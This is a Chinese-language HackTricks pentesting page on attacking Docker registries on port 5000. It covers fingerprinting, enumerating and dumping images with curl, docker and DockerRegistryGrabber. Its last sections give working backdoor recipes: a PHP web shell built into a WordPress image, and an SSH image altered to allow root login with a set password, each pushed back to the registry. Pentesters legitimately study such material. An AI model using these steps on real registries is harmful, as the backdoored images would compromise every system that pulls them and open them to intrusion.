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286 lines
14 KiB
Markdown
286 lines
14 KiB
Markdown
# 5000 - Docker注册表渗透测试
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
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- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
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</details>
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## 基本信息
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**来自**[**这里**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**。**
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**Docker注册表**是一个用于存储和分发命名的Docker镜像的系统。同一个镜像可能有多个不同的版本，通过它们的标签进行标识。\
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Docker注册表被组织成**Docker仓库**，一个仓库包含了特定镜像的所有版本。注册表允许Docker用户从本地拉取镜像，以及在适当的访问权限下将新镜像推送到注册表中。
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默认情况下，Docker引擎与**DockerHub**交互，DockerHub是Docker的公共注册表实例。然而，也可以在本地运行开源的Docker注册表/分发系统，以及一个商业支持的版本称为**Docker Trusted Registry**。还有其他在线公共注册表可用。
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要从本地注册表中拉取镜像，可以运行类似以下命令：
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```
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docker pull my-registry:9000/foo/bar:2.1
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```
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如果您从位于`my-registry`域，端口`9000`的本地注册表中拉取带有标签`2.1`的`foo/bar`镜像的版本，您可以运行以下命令在本地拉取相同的镜像：
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```bash
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docker pull my-registry:9000/foo/bar:2.1
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```
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如果您使用DockerHub，并且`2.1`也是最新版本，您可以运行以下命令在本地拉取相同的镜像：
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```
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docker pull foo/bar
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```
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**默认端口：** 5000
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```
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PORT STATE SERVICE VERSION
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5000/tcp open http Docker Registry (API: 2.0)
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```
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## 发现
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发现该服务运行的最简单方法是在nmap的输出中找到它。无论如何，请注意，由于它是一个基于HTTP的服务，它可能在HTTP代理后面，nmap无法检测到它。
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一些指纹：
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* 如果访问`/`，响应中没有返回任何内容
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* 如果访问`/v2/`，则返回`{}`
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* 如果访问`/v2/_catalog`，您可能会得到：
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* `{"repositories":["alpine","ubuntu"]}`
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* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
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## 枚举
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### HTTP/HTTPS
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Docker注册表可以配置为使用**HTTP**或**HTTPS**。所以你可能需要做的第一件事是**找出正在配置的是哪一个**：
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```bash
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curl -s http://10.10.10.10:5000/v2/_catalog
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#If HTTPS
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Warning: Binary output can mess up your terminal. Use "--output -" to tell
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Warning: curl to output it to your terminal anyway, or consider "--output
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Warning: <FILE>" to save to a file.
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#If HTTP
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{"repositories":["alpine","ubuntu"]}
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```
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### 身份验证
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Docker注册表也可以配置为需要**身份验证**：
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```bash
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curl -k https://192.25.197.3:5000/v2/_catalog
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#If Authentication required
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{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
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#If no authentication required
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{"repositories":["alpine","ubuntu"]}
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```
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如果Docker Registry需要身份验证，您可以[**尝试使用此方法进行暴力破解**](../generic-methodologies-and-resources/brute-force.md#docker-registry)。\
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**如果找到有效的凭据，您需要使用它们**来枚举注册表，在`curl`中可以像这样使用它们：
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```bash
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curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
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```
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### 使用DockerRegistryGrabber进行枚举
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[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber)是一个用于枚举/转储Docker注册表（无身份验证或基本身份验证）的Python工具。
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```bash
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python3 DockerGraber.py http://127.0.0.1 --list
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[+] my-ubuntu
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[+] my-ubuntu2
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python3 DockerGraber.py http://127.0.0.1 --dump_all
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[+] my-ubuntu
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[+] my-ubuntu2
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[+] blobSum found 5
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[+] Dumping my-ubuntu
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
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[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
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[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
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[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
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[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
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[+] blobSum found 5
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[+] Dumping my-ubuntu2
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
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[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
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[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
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[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
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[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
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python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
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[+] blobSum found 5
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[+] Dumping my-ubuntu
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
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[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
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[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
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[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
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[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
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```
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### 使用curl进行枚举
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一旦您**获得了对Docker注册表的访问权限**，以下是您可以使用的一些命令来进行枚举：
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```bash
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#List repositories
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curl -s http://10.10.10.10:5000/v2/_catalog
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{"repositories":["alpine","ubuntu"]}
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#Get tags of a repository
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curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
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{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
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#Get manifests
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curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
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{
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"schemaVersion": 1,
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"name": "ubuntu",
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"tag": "latest",
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"architecture": "amd64",
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"fsLayers": [
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{
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"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
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},
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{
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"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
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},
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{
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"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
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}
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],
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"history": [
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{
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"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
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},
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{
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"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
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},
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{
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"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
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}
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],
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"signatures": [
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{
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"header": {
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"jwk": {
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"crv": "P-256",
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"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
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"kty": "EC",
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"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
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"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
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},
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"alg": "ES256"
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},
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"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
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"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
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}
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]
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}
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#Download one of the previously listed blobs
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curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
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#检查每个blob的内部
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tar -xf blob1.tar #执行此命令后，检查当前目录中创建的新文件夹和文件
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{% hint style="warning" %}
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请注意，当您下载并解压缩blob文件和文件夹时，它们将出现在当前目录中。**如果您将所有blob文件下载并解压缩到同一个文件夹中，它们将覆盖先前解压缩的blob文件的值**，所以请小心。最好将每个blob文件解压缩到不同的文件夹中，以检查每个blob文件的确切内容。
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{% endhint %}
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### 使用docker进行枚举
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```bash
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#Once you know which images the server is saving (/v2/_catalog) you can pull them
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docker pull 10.10.10.10:5000/ubuntu
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#Check the commands used to create the layers of the image
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docker history 10.10.10.10:5000/ubuntu
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#IMAGE CREATED CREATED BY SIZE COMMENT
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#ed05bef01522 2 years ago ./run.sh 46.8MB
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#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
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#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
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#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
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#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
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#Run and get a shell
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docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
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docker ps #Using a different shell
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docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
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```
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### 在WordPress镜像中植入后门
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在你发现一个保存WordPress镜像的Docker Registry的情况下，你可以植入后门。\
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**创建**后门：
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{% code title="shell.php" %}
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```bash
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<?php echo shell_exec($_GET["cmd"]); ?>
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```
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创建一个 **Dockerfile**：
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{% code title="Dockerfile" %}
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```bash
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FROM 10.10.10.10:5000/wordpress
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COPY shell.php /app/
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RUN chmod 777 /app/shell.php
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```
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{% endcode %}
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**创建**新的镜像，**检查**它是否已创建，并**推送**它：
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```bash
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docker build -t 10.10.10.10:5000/wordpress .
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#Create
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docker images
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docker push registry:5000/wordpress #Push it
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```
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### 在SSH服务器镜像中植入后门
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假设你发现了一个带有SSH镜像的Docker Registry，并且你想要在其中植入后门。\
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**下载**该镜像并**运行**它：
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```bash
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docker pull 10.10.10.10:5000/sshd-docker-cli
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docker run -d 10.10.10.10:5000/sshd-docker-cli
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```
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从SSH镜像中提取`sshd_config`文件：
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```bash
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docker cp 4c989242c714:/etc/ssh/sshd_config .
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```
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并修改为：`PermitRootLogin yes`
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创建一个名为**Dockerfile**的文件，内容如下：
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{% tabs %}
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{% tab title="Dockerfile" %}
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```bash
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FROM 10.10.10.10:5000/sshd-docker-cli
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COPY sshd_config /etc/ssh/
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RUN echo root:password | chpasswd
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```
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{% endtab %}
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{% endtabs %}
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**创建**新的镜像，**检查**它是否已创建，并**推送**它：
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```bash
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docker build -t 10.10.10.10:5000/sshd-docker-cli .
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#Create
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docker images
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docker push registry:5000/sshd-docker-cli #Push it
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```
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<details>
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||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- 你在一家**网络安全公司**工作吗？想要在 HackTricks 中**宣传你的公司**吗？或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
|
||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
|
||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
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- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
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</details>
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